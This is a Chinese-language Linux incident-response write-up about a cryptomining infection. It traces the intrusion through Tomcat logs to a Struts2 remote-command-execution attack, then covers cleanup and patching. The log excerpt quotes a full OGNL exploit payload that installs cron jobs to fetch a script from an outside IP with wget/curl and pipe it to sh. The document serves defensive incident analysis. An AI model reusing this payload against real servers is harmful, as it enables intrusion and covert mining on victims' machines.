Linux應急響應（三）：挖礦病毒
0x00 前言
隨著虛擬貨幣的瘋狂炒作，利用挖礦指令碼來實現流量變現，使得挖礦病毒成為不法分子利用最為頻繁的攻擊方式。新的挖礦攻擊展現出了類似蠕蟲的行為，並結合了高階攻擊技術，以增加對目標伺服器感染的成功率，通過利用永恆之藍（EternalBlue）、web攻擊多種漏洞（如Tomcat弱口令攻擊、Weblogic WLS元件漏洞、Jboss反序列化漏洞、Struts2遠端命令執行等），導致大量伺服器被感染挖礦程式的現象 。
0x01 應急場景
某天，安全管理員在登入安全裝置巡檢時，發現某臺網站伺服器持續向境外IP發起連線，下載病毒源：
0x02 事件分析
A、排查過程
登入伺服器，檢視系統程序狀態，發現不規則命名的異常程序、異常下載程序 :
下載logo.jpg，包含指令碼內容如下：
到這裡，我們可以發現攻擊者下載logo.jpg並執行了裡面了shell指令碼，那這個指令碼是如何啟動的呢？
通過排查系統開機啟動項、定時任務、服務等，在定時任務裡面，發現了惡意指令碼，每隔一段時間發起請求下載病毒源，並執行 。
B、溯源分析
在Tomcat log日誌中，我們找到這樣一條記錄：
對日誌中攻擊原始碼進行摘錄如下：
{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
可以發現攻擊程式碼中的操作與定時任務中異常指令碼一致，據此推斷黑客通過Struct 遠端命令執行漏洞向伺服器定時任務中寫入惡意指令碼並執行。
C、清除病毒
1、刪除定時任務:
2、終止異常程序:
D、漏洞修復
升級struts到最新版本
0x03 防範措施
針對伺服器被感染挖礦程式的現象，總結了幾種預防措施：
1、安裝安全軟體並升級病毒庫，定期全盤掃描，保持實時防護 2、及時更新 Windows安全補丁，開啟防火牆臨時關閉埠 3、及時更新web漏洞補丁，升級web元件
關於我：一個網路安全愛好者，致力於分享原創高質量乾貨，歡迎關注我的個人微信公眾號：Bypass--，瀏覽更多精彩文章。
